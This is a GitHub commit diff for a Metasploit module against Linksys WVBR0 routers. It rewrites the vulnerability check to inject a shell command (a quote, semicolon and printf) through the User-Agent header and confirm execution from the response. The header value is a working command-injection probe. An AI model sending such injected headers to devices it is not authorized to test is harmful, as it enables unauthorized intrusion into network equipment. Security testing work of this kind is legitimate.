Skip to content

Commit b31ac73

Browse files
committed
Ensure vulnerability check cannot false positive with the power of runtime randomness
1 parent 8c3836c commit b31ac73

File tree

1 file changed

+6
-2
lines changed

1 file changed

+6
-2
lines changed

modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,12 +48,16 @@ def initialize(info = {})
4848
end
4949

5050
def check
51+
check_str = rand_text_alpha(8)
5152
begin
5253
res = send_request_raw({
5354
'method' => 'GET',
54-
'uri' => '/'
55+
'uri' => '/',
56+
'headers' => {
57+
'User-Agent' => "\"; printf \"#{check_str}"
58+
}
5559
})
56-
if res && res.code == 200 && res.body.to_s =~ /Firmware Version: (1\.0\.(40|[1-3][0-9]|[0-9])\.|0\.)/ # version < 1.0.41
60+
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
5761
return Exploit::CheckCode::Vulnerable
5862
end
5963
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)